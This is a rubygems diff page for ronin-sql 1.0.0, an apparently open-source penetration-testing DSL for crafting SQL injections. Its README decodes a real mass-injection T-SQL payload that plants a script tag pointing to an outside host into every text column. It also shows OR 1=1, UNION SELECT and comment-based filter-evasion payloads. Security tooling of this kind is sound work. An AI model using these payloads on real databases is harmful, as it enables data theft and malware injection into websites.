ronin-sql 0.2.4 → 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
- data/.document +4 -0
- data/.gitignore +11 -0
- data/.rspec +1 -0
- data/.yardopts +1 -0
- data/COPYING.txt +623 -288
- data/{History.txt → ChangeLog.md} +33 -35
- data/Gemfile +25 -0
- data/README.md +110 -0
- data/Rakefile +30 -20
- data/bin/ronin-sql +18 -5
- data/gemspec.yml +16 -0
- data/lib/ronin/formatting/extensions/sql.rb +4 -3
- data/lib/ronin/formatting/extensions/sql/string.rb +83 -10
- data/lib/ronin/formatting/sql.rb +4 -3
- data/lib/ronin/sql.rb +5 -12
- data/lib/ronin/{code/sql/create_index.rb → sql/binary_expr.rb} +25 -18
- data/lib/ronin/sql/clause.rb +72 -0
- data/lib/ronin/sql/clauses.rb +297 -0
- data/lib/ronin/sql/emittable.rb +84 -0
- data/lib/ronin/sql/emitter.rb +375 -0
- data/lib/ronin/sql/field.rb +106 -0
- data/lib/ronin/{code/sql/as.rb → sql/fields.rb} +36 -17
- data/lib/ronin/{code/sql/binary_expr.rb → sql/function.rb} +27 -27
- data/lib/ronin/sql/functions.rb +989 -0
- data/lib/ronin/sql/injection.rb +125 -157
- data/lib/ronin/{code/sql/default_values_clause.rb → sql/literal.rb} +13 -11
- data/lib/ronin/sql/literals.rb +72 -0
- data/lib/ronin/sql/operators.rb +332 -0
- data/lib/ronin/sql/sql.rb +86 -0
- data/lib/ronin/sql/statement.rb +70 -0
- data/lib/ronin/sql/statement_list.rb +110 -0
- data/lib/ronin/sql/statements.rb +115 -0
- data/lib/ronin/{code/sql/desc.rb → sql/unary_expr.rb} +11 -11
- data/lib/ronin/sql/version.rb +5 -4
- data/ronin-sql.gemspec +61 -0
- data/spec/formatting/sql/string_spec.rb +172 -0
- data/spec/spec_helper.rb +1 -4
- data/spec/sql/binary_expr.rb +5 -0
- data/spec/sql/binary_expr_examples.rb +25 -0
- data/spec/sql/clause_examples.rb +43 -0
- data/spec/sql/clause_spec.rb +31 -0
- data/spec/sql/clauses_spec.rb +43 -0
- data/spec/sql/emittable_spec.rb +41 -0
- data/spec/sql/emitter_spec.rb +472 -0
- data/spec/sql/field_spec.rb +103 -0
- data/spec/sql/fields_spec.rb +40 -0
- data/spec/sql/function_examples.rb +30 -0
- data/spec/sql/function_spec.rb +25 -0
- data/spec/sql/functions_spec.rb +110 -0
- data/spec/sql/injection_spec.rb +233 -0
- data/spec/sql/literal_spec.rb +5 -0
- data/spec/sql/literals_spec.rb +46 -0
- data/spec/sql/operators_spec.rb +44 -0
- data/spec/sql/sql_spec.rb +18 -0
- data/spec/sql/statement_examples.rb +39 -0
- data/spec/sql/statement_list_spec.rb +48 -0
- data/spec/sql/statement_sql.rb +38 -0
- data/spec/sql/statements_spec.rb +22 -0
- data/spec/sql/unary_expr.rb +5 -0
- data/spec/sql/unary_expr_examples.rb +20 -0
- metadata +116 -217
- data.tar.gz.sig +0 -0
- data/Manifest.txt +0 -108
- data/README.txt +0 -112
- data/lib/ronin/code/sql.rb +0 -22
- data/lib/ronin/code/sql/add_column_clause.rb +0 -42
- data/lib/ronin/code/sql/alter_table.rb +0 -52
- data/lib/ronin/code/sql/asc.rb +0 -36
- data/lib/ronin/code/sql/between.rb +0 -66
- data/lib/ronin/code/sql/clause.rb +0 -35
- data/lib/ronin/code/sql/code.rb +0 -35
- data/lib/ronin/code/sql/common_dialect.rb +0 -66
- data/lib/ronin/code/sql/create.rb +0 -74
- data/lib/ronin/code/sql/create_table.rb +0 -44
- data/lib/ronin/code/sql/create_view.rb +0 -41
- data/lib/ronin/code/sql/delete.rb +0 -52
- data/lib/ronin/code/sql/dialect.rb +0 -282
- data/lib/ronin/code/sql/drop.rb +0 -55
- data/lib/ronin/code/sql/drop_index.rb +0 -41
- data/lib/ronin/code/sql/drop_table.rb +0 -41
- data/lib/ronin/code/sql/drop_view.rb +0 -41
- data/lib/ronin/code/sql/emittable.rb +0 -100
- data/lib/ronin/code/sql/exceptions.rb +0 -24
- data/lib/ronin/code/sql/exceptions/unknown_clause.rb +0 -29
- data/lib/ronin/code/sql/exceptions/unknown_dialect.rb +0 -29
- data/lib/ronin/code/sql/exceptions/unknown_statement.rb +0 -29
- data/lib/ronin/code/sql/expr.rb +0 -102
- data/lib/ronin/code/sql/field.rb +0 -101
- data/lib/ronin/code/sql/fields_clause.rb +0 -46
- data/lib/ronin/code/sql/from_clause.rb +0 -42
- data/lib/ronin/code/sql/function.rb +0 -53
- data/lib/ronin/code/sql/group_by_clause.rb +0 -46
- data/lib/ronin/code/sql/having_clause.rb +0 -46
- data/lib/ronin/code/sql/in.rb +0 -47
- data/lib/ronin/code/sql/injected_statement.rb +0 -100
- data/lib/ronin/code/sql/injection.rb +0 -203
- data/lib/ronin/code/sql/insert.rb +0 -54
- data/lib/ronin/code/sql/intersect_clause.rb +0 -42
- data/lib/ronin/code/sql/join_clause.rb +0 -123
- data/lib/ronin/code/sql/like.rb +0 -73
- data/lib/ronin/code/sql/limit_clause.rb +0 -42
- data/lib/ronin/code/sql/modifier.rb +0 -48
- data/lib/ronin/code/sql/offset_clause.rb +0 -42
- data/lib/ronin/code/sql/on_clause.rb +0 -55
- data/lib/ronin/code/sql/order_by_clause.rb +0 -42
- data/lib/ronin/code/sql/program.rb +0 -225
- data/lib/ronin/code/sql/rename_to_clause.rb +0 -42
- data/lib/ronin/code/sql/replace.rb +0 -54
- data/lib/ronin/code/sql/select.rb +0 -103
- data/lib/ronin/code/sql/set_clause.rb +0 -42
- data/lib/ronin/code/sql/statement.rb +0 -180
- data/lib/ronin/code/sql/token.rb +0 -62
- data/lib/ronin/code/sql/unary_expr.rb +0 -47
- data/lib/ronin/code/sql/union_all_clause.rb +0 -42
- data/lib/ronin/code/sql/union_clause.rb +0 -42
- data/lib/ronin/code/sql/update.rb +0 -52
- data/lib/ronin/code/sql/values_clause.rb +0 -46
- data/lib/ronin/code/sql/where_clause.rb +0 -42
- data/lib/ronin/sql/error.rb +0 -26
- data/lib/ronin/sql/error/error.rb +0 -62
- data/lib/ronin/sql/error/extensions.rb +0 -22
- data/lib/ronin/sql/error/extensions/string.rb +0 -77
- data/lib/ronin/sql/error/message.rb +0 -62
- data/lib/ronin/sql/error/pattern.rb +0 -104
- data/lib/ronin/sql/error/patterns.rb +0 -99
- data/lib/ronin/sql/extensions.rb +0 -22
- data/lib/ronin/sql/extensions/uri.rb +0 -22
- data/lib/ronin/sql/extensions/uri/http.rb +0 -107
- data/spec/code/sql/common_dialect_spec.rb +0 -205
- data/spec/code/sql/create_examples.rb +0 -19
- data/spec/code/sql/create_index_spec.rb +0 -25
- data/spec/code/sql/create_table_spec.rb +0 -27
- data/spec/code/sql/create_view_spec.rb +0 -16
- data/spec/code/sql/delete_spec.rb +0 -14
- data/spec/code/sql/drop_examples.rb +0 -10
- data/spec/code/sql/drop_index_spec.rb +0 -16
- data/spec/code/sql/drop_table_spec.rb +0 -16
- data/spec/code/sql/drop_view_spec.rb +0 -16
- data/spec/code/sql/has_default_values_clause_examples.rb +0 -10
- data/spec/code/sql/has_fields_clause_examples.rb +0 -15
- data/spec/code/sql/has_from_clause_examples.rb +0 -13
- data/spec/code/sql/has_values_clause_examples.rb +0 -15
- data/spec/code/sql/has_where_clause_examples.rb +0 -15
- data/spec/code/sql/insert_spec.rb +0 -21
- data/spec/code/sql/replace_spec.rb +0 -21
- data/spec/code/sql/select_spec.rb +0 -105
- data/spec/code/sql/update_spec.rb +0 -26
- data/spec/helpers/code.rb +0 -14
- data/spec/sql/error_spec.rb +0 -24
- data/spec/sql/extensions/uri/http_spec.rb +0 -34
- data/spec/sql_spec.rb +0 -9
- data/tasks/spec.rb +0 -10
- data/tasks/yard.rb +0 -13
- metadata.gz.sig +0 -0
@@ -1,4 +1,22 @@
|
|
1
|
-
|
1
|
+
### 1.0.0 / 2013-01-21
|
2
|
+
|
3
|
+
* Require [Ruby] >= 1.9.1.
|
4
|
+
* No longer require ronin.
|
5
|
+
* No longer require ronin-web.
|
6
|
+
* Added {String#sql_unescape}.
|
7
|
+
* Moved {String#sql_escape}, {String#sql_encode} and {String#sql_decode}
|
8
|
+
from [ronin-support].
|
9
|
+
* Refactored the {Ronin::SQL SQL} DSL to be more like
|
10
|
+
[ARel](https://github.com/rails/arel#readme).
|
11
|
+
* Moved the DSL from `Ronin::Code::SQL` into {Ronin::SQL}.
|
12
|
+
* Removed `Ronin::SQL::Error`.
|
13
|
+
* Removed `String#sql_error`.
|
14
|
+
* Removed `String#sql_error?`.
|
15
|
+
* Removed `URI::HTTP.has_sql_errors?`.
|
16
|
+
* Removed `URI::HTTP.sql_error`.
|
17
|
+
* Removed `URI::HTTP.sql_errors`.
|
18
|
+
|
19
|
+
### 0.2.4 / 2009-09-24
|
2
20
|
|
3
21
|
* Require ronin >= 0.3.0.
|
4
22
|
* Require ronin-web >= 0.2.0.
|
@@ -9,7 +27,7 @@
|
|
9
27
|
* Fixed a formatting issue in the README.txt file, which was causing RDoc
|
10
28
|
to crash.
|
11
29
|
|
12
|
-
|
30
|
+
### 0.2.3 / 2009-07-02
|
13
31
|
|
14
32
|
* Use Hoe >= 2.0.0.
|
15
33
|
* Require ronin >= 0.2.4.
|
@@ -18,18 +36,18 @@
|
|
18
36
|
Ronin::SQL::Injection objects for URI::HTTP urls.
|
19
37
|
* Added more specs.
|
20
38
|
|
21
|
-
|
39
|
+
### 0.2.2 / 2009-01-22
|
22
40
|
|
23
41
|
* Depend on the new ronin-web library.
|
24
42
|
* Replace Hpricot with Nokogiri.
|
25
43
|
* Use the new Ronin::Web::Spider, instead of directly using Spidr.
|
26
44
|
* Use the new Nokogiri extensions from ronin-web.
|
27
45
|
|
28
|
-
|
46
|
+
### 0.2.1 / 2009-01-09
|
29
47
|
|
30
48
|
* Added missing files to the Manifest.
|
31
49
|
|
32
|
-
|
50
|
+
### 0.2.0 / 2009-01-08
|
33
51
|
|
34
52
|
* Require Ronin >= 0.1.3.
|
35
53
|
* Refactored Ronin::Code::SQL.
|
@@ -38,48 +56,28 @@
|
|
38
56
|
* Support common SQL clauses.
|
39
57
|
* Allow for injecting arbitrary SQL clauses.
|
40
58
|
* Added more SQL Injection test generators.
|
41
|
-
* all_rows:
|
42
|
-
|
43
|
-
|
44
|
-
|
45
|
-
*
|
46
|
-
|
47
|
-
|
48
|
-
|
49
|
-
* no_rows:
|
50
|
-
|
51
|
-
AND 1 = 0
|
52
|
-
|
53
|
-
* has_column?(column):
|
54
|
-
|
55
|
-
OR column IS NOT NULL
|
56
|
-
|
57
|
-
* has_table?(table):
|
58
|
-
|
59
|
-
AND (SELECT FROM table count(*) == 1)
|
60
|
-
|
61
|
-
* uses_column?(column):
|
62
|
-
|
63
|
-
GROUP BY column HAVING 1 = 1
|
64
|
-
|
65
|
-
* uses_table?(table):
|
66
|
-
|
67
|
-
OR table IS NOT NULL
|
68
|
-
|
59
|
+
* all_rows: `OR 1 = 1`
|
60
|
+
* exact_rows: `AND 1 = 1`
|
61
|
+
* no_rows: `AND 1 = 0`
|
62
|
+
* has_column?(column): `OR column IS NOT NULL`
|
63
|
+
* has_table?(table): `AND (SELECT FROM table count(*) == 1)`
|
64
|
+
* uses_column?(column): `GROUP BY column HAVING 1 = 1`
|
65
|
+
* uses_table?(table): `OR table IS NOT NULL`
|
69
66
|
* Removed references to Ronin::Vulnerable.
|
70
67
|
* Added more specs:
|
71
68
|
* Specs for most of Ronin::Code::SQL.
|
72
69
|
* Specs on Ronin::SQL::Error and the SQL encoding/decoding extensions for
|
73
70
|
the String class.
|
74
71
|
|
75
|
-
|
72
|
+
### 0.1.1 / 2008-09-28
|
76
73
|
|
77
74
|
* Trivial bug fix to URI::HTTP#sql_errors.
|
78
75
|
|
79
|
-
|
76
|
+
### 0.1.0 / 2007-12-23
|
80
77
|
|
81
78
|
* Initial release.
|
82
79
|
* Supports SQL code generation.
|
83
80
|
* Supports obfustication of SQL code.
|
84
81
|
* Supports SQL Injection code generation.
|
85
82
|
|
83
|
+
[Ruby]: http://www.ruby-lang.org/
|
data/Gemfile
ADDED
@@ -0,0 +1,25 @@
|
|
1
|
+
source 'https://rubygems.org'
|
2
|
+
|
3
|
+
RONIN_URI = 'http://github.com/ronin-ruby'
|
4
|
+
|
5
|
+
gemspec
|
6
|
+
|
7
|
+
gem 'jruby-openssl', '~> 0.7', :platforms => :jruby
|
8
|
+
|
9
|
+
# Ronin dependencies:
|
10
|
+
# gem 'ronin-support', '~> 0.6', :git => "#{RONIN_URI}/ronin-support.git"
|
11
|
+
# gem 'ronin', '~> 1.5.0', :git => "#{RONIN_URI}/ronin.git"
|
12
|
+
|
13
|
+
group :development do
|
14
|
+
gem 'rake', '~> 10.0'
|
15
|
+
gem 'kramdown', '~> 0.12'
|
16
|
+
|
17
|
+
gem 'ripl', '~> 0.3'
|
18
|
+
gem 'ripl-multi_line', '~> 0.2'
|
19
|
+
gem 'ripl-auto_indent', '~> 0.1'
|
20
|
+
gem 'ripl-short_errors', '~> 0.1'
|
21
|
+
gem 'ripl-color_result', '~> 0.3'
|
22
|
+
|
23
|
+
gem 'rubygems-tasks', '~> 0.1'
|
24
|
+
gem 'rspec', '~> 2.4'
|
25
|
+
end
|
data/README.md
ADDED
@@ -0,0 +1,110 @@
|
|
1
|
+
# Ronin SQL
|
2
|
+
|
3
|
+
* [Source](https://github.com/ronin-ruby/ronin-sql)
|
4
|
+
* [Issues](https://github.com/ronin-ruby/ronin-sql/issues)
|
5
|
+
* [Documentation](http://rubydoc.info/github/ronin-ruby/ronin-sql/frames)
|
6
|
+
* [Mailing List](https://groups.google.com/group/ronin-ruby)
|
7
|
+
* [irc.freenode.net #ronin](http://webchat.freenode.net/?channels=ronin&uio=Mj10cnVldd)
|
8
|
+
|
9
|
+
## Description
|
10
|
+
|
11
|
+
{Ronin::SQL} is a Ruby DSL for crafting SQL Injections (SQLi).
|
12
|
+
|
13
|
+
### Features
|
14
|
+
|
15
|
+
* Provides convenience methods for encoding/decoding SQL data.
|
16
|
+
* Provides an Domain Specific Language (DSL) for crafting normal SQL and
|
17
|
+
SQL injections.
|
18
|
+
|
19
|
+
## Examples
|
20
|
+
|
21
|
+
### Convenience Methods
|
22
|
+
|
23
|
+
Escape a String:
|
24
|
+
|
25
|
+
"O'Brian".sql_escape
|
26
|
+
# => "'O''Brian'"
|
27
|
+
|
28
|
+
Unescapes a SQL String:
|
29
|
+
|
30
|
+
"'O''Brian'".sql_unescape
|
31
|
+
# => "O'Briand"
|
32
|
+
|
33
|
+
Hex encode a String:
|
34
|
+
|
35
|
+
"exploit".sql_encode
|
36
|
+
# => "0x6578706c6f6974"
|
37
|
+
|
38
|
+
Hex decode a String:
|
39
|
+
|
40
|
+
string = "4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72"
|
41
|
+
string.sql_decode
|
42
|
+
# => "DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''\"></title><script src=\"http://www0.douhunqn.cn/csrss/w.js\"></script><!--''+['+@C+'] where '+@C+' not like ''%\"></title><script src=\"http://www0.douhunqn.cn/csrss/w.js\"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor"
|
43
|
+
|
44
|
+
### SQLi DSL
|
45
|
+
|
46
|
+
Injecting a `1=1` test into a String value:
|
47
|
+
|
48
|
+
sqli = Ronin::SQL::Injection.new(:escape => :string)
|
49
|
+
sqli.or { string(1) == string(1) }
|
50
|
+
puts sqli
|
51
|
+
# 1' OR '1'='1
|
52
|
+
|
53
|
+
Columns:
|
54
|
+
|
55
|
+
sqli = Ronin::SQL::Injection.new
|
56
|
+
sqli.and { admin == 1 }
|
57
|
+
puts sqli
|
58
|
+
# 1 AND admin=1
|
59
|
+
|
60
|
+
Clauses:
|
61
|
+
|
62
|
+
sqli = Ronin::SQL::Injection.new
|
63
|
+
sqli.or { 1 == 1 }.limit(0)
|
64
|
+
puts sqli
|
65
|
+
# 1 AND admin=1
|
66
|
+
|
67
|
+
Statements:
|
68
|
+
|
69
|
+
sqli = Ronin::SQL::Injection.new
|
70
|
+
sqli.union { select(1,2,3,4,id).from(users) }
|
71
|
+
puts sqli
|
72
|
+
# 1 UNION SELECT (1,2,3,4,id) FROM users
|
73
|
+
|
74
|
+
Filter evasion:
|
75
|
+
|
76
|
+
sqli = Ronin::SQL::Injection.new
|
77
|
+
sqli.union { select(1,2,3,4,id).from(users) }
|
78
|
+
puts sqli.to_sql(:space => '/**/')
|
79
|
+
# 1/**/UNION/**/SELECT/**/(1,2,3,4,id)/**/FROM/**/users
|
80
|
+
|
81
|
+
## Requirements
|
82
|
+
|
83
|
+
* [Ruby] >= 1.9.1
|
84
|
+
|
85
|
+
## Install
|
86
|
+
|
87
|
+
$ gem install ronin-sql
|
88
|
+
|
89
|
+
## License
|
90
|
+
|
91
|
+
Ronin SQL - A Ruby DSL for crafting SQL Injections.
|
92
|
+
|
93
|
+
Copyright (c) 2007-2013 Hal Brodigan (postmodern.mod3 at gmail.com)
|
94
|
+
|
95
|
+
This file is part of Ronin SQL.
|
96
|
+
|
97
|
+
Ronin Asm is free software: you can redistribute it and/or modify
|
98
|
+
it under the terms of the GNU General Public License as published by
|
99
|
+
the Free Software Foundation, either version 3 of the License, or
|
100
|
+
(at your option) any later version.
|
101
|
+
|
102
|
+
Ronin Asm is distributed in the hope that it will be useful,
|
103
|
+
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
104
|
+
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
105
|
+
GNU General Public License for more details.
|
106
|
+
|
107
|
+
You should have received a copy of the GNU General Public License
|
108
|
+
along with Ronin Asm. If not, see <http://www.gnu.org/licenses/>.
|
109
|
+
|
110
|
+
[Ruby]: http://www.ruby-lang.org
|
data/Rakefile
CHANGED
@@ -1,26 +1,36 @@
|
|
1
|
-
# -*- ruby -*-
|
2
|
-
|
3
1
|
require 'rubygems'
|
4
|
-
require 'hoe'
|
5
|
-
require 'hoe/signing'
|
6
|
-
require './tasks/spec.rb'
|
7
|
-
require './tasks/yard.rb'
|
8
2
|
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
]
|
3
|
+
begin
|
4
|
+
require 'bundler'
|
5
|
+
rescue LoadError => e
|
6
|
+
warn e.message
|
7
|
+
warn "Run `gem install bundler` to install Bundler."
|
8
|
+
exit e.status_code
|
9
|
+
end
|
17
10
|
|
18
|
-
|
19
|
-
|
20
|
-
|
21
|
-
|
11
|
+
begin
|
12
|
+
Bundler.setup(:development)
|
13
|
+
rescue Bundler::BundlerError => e
|
14
|
+
warn e.message
|
15
|
+
warn "Run `bundle install` to install missing gems"
|
16
|
+
exit e.status_code
|
17
|
+
end
|
18
|
+
|
19
|
+
require 'rake'
|
22
20
|
|
23
|
-
|
21
|
+
require 'rubygems/tasks'
|
22
|
+
Gem::Tasks.new(:sign => {:checksum => true, :pgp => true}) do |tasks|
|
23
|
+
tasks.console.command = 'ripl'
|
24
|
+
tasks.console.options = %w[
|
25
|
+
-rripl/multi_line
|
26
|
+
-rripl/auto_indent
|
27
|
+
-rripl/color_result
|
28
|
+
]
|
24
29
|
end
|
25
30
|
|
26
|
-
|
31
|
+
require 'rspec/core/rake_task'
|
32
|
+
RSpec::Core::RakeTask.new
|
33
|
+
task :default => :spec
|
34
|
+
|
35
|
+
require 'yard'
|
36
|
+
YARD::Rake::YardocTask.new
|
data/bin/ronin-sql
CHANGED
@@ -2,13 +2,26 @@
|
|
2
2
|
|
3
3
|
require 'rubygems'
|
4
4
|
|
5
|
-
|
6
|
-
|
7
|
-
|
5
|
+
root_dir = File.expand_path(File.join(File.dirname(__FILE__),'..'))
|
6
|
+
if File.directory?(File.join(root_dir,'.git'))
|
7
|
+
Dir.chdir(root_dir) do |path|
|
8
|
+
require 'bundler'
|
9
|
+
|
10
|
+
begin
|
11
|
+
Bundler.setup(:default)
|
12
|
+
rescue Bundler::BundlerError => e
|
13
|
+
STDERR.puts e.message
|
14
|
+
STDERR.puts "Run `bundle install` to install missing gems"
|
15
|
+
exit e.status_code
|
16
|
+
end
|
17
|
+
end
|
8
18
|
end
|
9
19
|
|
10
|
-
|
20
|
+
lib_dir = File.join(root_dir,'lib')
|
21
|
+
$LOAD_PATH << lib_dir unless $LOAD_PATH.include?(lib_dir)
|
22
|
+
|
11
23
|
require 'ronin/ui/console'
|
24
|
+
require 'ronin/ui/command_line/commands/console'
|
12
25
|
|
13
26
|
Ronin::UI::Console.auto_load << 'ronin/sql'
|
14
|
-
Ronin::UI::
|
27
|
+
Ronin::UI::CLI::Commands::Console.start
|
data/gemspec.yml
ADDED
@@ -0,0 +1,16 @@
|
|
1
|
+
name: ronin-sql
|
2
|
+
summary: A Ruby DSL for crafting SQL Injections.
|
3
|
+
description:
|
4
|
+
Ronin SQL is a a Ruby DSL for crafting SQL Injections.
|
5
|
+
|
6
|
+
license: GPL-3
|
7
|
+
authors: Postmodern
|
8
|
+
email: postmodern.mod3@gmail.com
|
9
|
+
homepage: https://github.com/ronin-ruby/ronin-sql
|
10
|
+
has_yard: true
|
11
|
+
|
12
|
+
required_ruby_version: ">= 1.9.1"
|
13
|
+
|
14
|
+
development_dependencies:
|
15
|
+
bundler: ~> 1.0
|
16
|
+
yard: ~> 0.8
|
@@ -1,8 +1,9 @@
|
|
1
1
|
#
|
2
|
-
# Ronin SQL - A
|
3
|
-
# tasks.
|
2
|
+
# Ronin SQL - A Ruby DSL for crafting SQL Injections.
|
4
3
|
#
|
5
|
-
# Copyright (c) 2007-
|
4
|
+
# Copyright (c) 2007-2013 Hal Brodigan (postmodern.mod3 at gmail.com)
|
5
|
+
#
|
6
|
+
# This file is part of Ronin SQL.
|
6
7
|
#
|
7
8
|
# This program is free software; you can redistribute it and/or modify
|
8
9
|
# it under the terms of the GNU General Public License as published by
|
@@ -1,8 +1,9 @@
|
|
1
1
|
#
|
2
|
-
# Ronin SQL - A
|
3
|
-
# tasks.
|
2
|
+
# Ronin SQL - A Ruby DSL for crafting SQL Injections.
|
4
3
|
#
|
5
|
-
# Copyright (c) 2007-
|
4
|
+
# Copyright (c) 2007-2013 Hal Brodigan (postmodern.mod3 at gmail.com)
|
5
|
+
#
|
6
|
+
# This file is part of Ronin SQL.
|
6
7
|
#
|
7
8
|
# This program is free software; you can redistribute it and/or modify
|
8
9
|
# it under the terms of the GNU General Public License as published by
|
@@ -21,12 +22,77 @@
|
|
21
22
|
|
22
23
|
class String
|
23
24
|
|
25
|
+
#
|
26
|
+
# Escapes an String for SQL.
|
27
|
+
#
|
28
|
+
# @param [:single, :double, :tick] quotes (:single)
|
29
|
+
# Specifies whether to create a single or double quoted string.
|
30
|
+
#
|
31
|
+
# @return [String]
|
32
|
+
# The escaped String.
|
33
|
+
#
|
34
|
+
# @raise [TypeError]
|
35
|
+
# The quotes argument was neither `:single`, `:double` nor `:tick`.
|
36
|
+
#
|
37
|
+
# @example
|
38
|
+
# "O'Brian".sql_escape
|
39
|
+
# # => "'O''Brian'"
|
40
|
+
#
|
41
|
+
# @example Encode with double-quotes:
|
42
|
+
# "O'Brian".sql_escape(:double)
|
43
|
+
# # => "\"O'Brian\""
|
44
|
+
#
|
45
|
+
# @api public
|
46
|
+
#
|
47
|
+
def sql_escape(quotes=:single)
|
48
|
+
char = case quotes
|
49
|
+
when :single then "'"
|
50
|
+
when :double then '"'
|
51
|
+
when :tick then '`'
|
52
|
+
else
|
53
|
+
raise(ArgumentError,"invalid quoting style #{quotes.inspect}")
|
54
|
+
end
|
55
|
+
|
56
|
+
return char + gsub(char,char * 2) + char
|
57
|
+
end
|
58
|
+
|
59
|
+
#
|
60
|
+
# Unescapes a SQL String.
|
61
|
+
#
|
62
|
+
# @return [String]
|
63
|
+
# The unescaped String.
|
64
|
+
#
|
65
|
+
# @raise
|
66
|
+
# The String was not quoted with single, double or tick-mark quotes.
|
67
|
+
#
|
68
|
+
# @example
|
69
|
+
# "'O''Brian'".sql_unescape
|
70
|
+
# # => "O'Brian"
|
71
|
+
#
|
72
|
+
# @api public
|
73
|
+
#
|
74
|
+
# @since 1.0.0
|
75
|
+
#
|
76
|
+
def sql_unescape
|
77
|
+
char = if (self[0] == "'" && self[-1] == "'") then "'"
|
78
|
+
elsif (self[0] == '"' && self[-1] == '"') then '"'
|
79
|
+
elsif (self[0] == '`' && self[-1] == '`') then '`'
|
80
|
+
else
|
81
|
+
raise(TypeError,"#{self.inspect} is not properly quoted")
|
82
|
+
end
|
83
|
+
|
84
|
+
return self[1..-2].gsub(char * 2,char)
|
85
|
+
end
|
86
|
+
|
24
87
|
#
|
25
88
|
# Returns the SQL hex-string encoded form of the String.
|
26
89
|
#
|
90
|
+
# @example
|
27
91
|
# "/etc/passwd".sql_encode
|
28
92
|
# # => "0x2f6574632f706173737764"
|
29
93
|
#
|
94
|
+
# @api public
|
95
|
+
#
|
30
96
|
def sql_encode
|
31
97
|
return '' if empty?
|
32
98
|
|
@@ -42,25 +108,32 @@ class String
|
|
42
108
|
#
|
43
109
|
# Returns the SQL decoded form of the String.
|
44
110
|
#
|
111
|
+
# @example
|
45
112
|
# "'Conan O''Brian'".sql_decode
|
46
113
|
# # => "Conan O'Brian"
|
47
114
|
#
|
48
|
-
#
|
115
|
+
# @example
|
116
|
+
# "2f6574632f706173737764".sql_decode
|
49
117
|
# # => "/etc/passwd"
|
50
118
|
#
|
119
|
+
# @raise
|
120
|
+
# The String is neither hex encoded or SQL escaped.
|
121
|
+
#
|
122
|
+
# @see #sql_unescape
|
123
|
+
#
|
124
|
+
# @api public
|
125
|
+
#
|
51
126
|
def sql_decode
|
52
|
-
if (
|
127
|
+
if (self =~ /^[0-9a-fA-F]{2,}$/ && (length % 2 == 0))
|
53
128
|
raw = ''
|
54
129
|
|
55
|
-
|
56
|
-
raw << hex_char.
|
130
|
+
scan(/../) do |hex_char|
|
131
|
+
raw << hex_char.to_i(16)
|
57
132
|
end
|
58
133
|
|
59
134
|
return raw
|
60
|
-
elsif (self[0..0] == "'" && self[-1..-1] == "'")
|
61
|
-
self[1..-2].gsub(/\\'/,"'").gsub(/''/,"'")
|
62
135
|
else
|
63
|
-
|
136
|
+
sql_unescape
|
64
137
|
end
|
65
138
|
end
|
66
139
|
|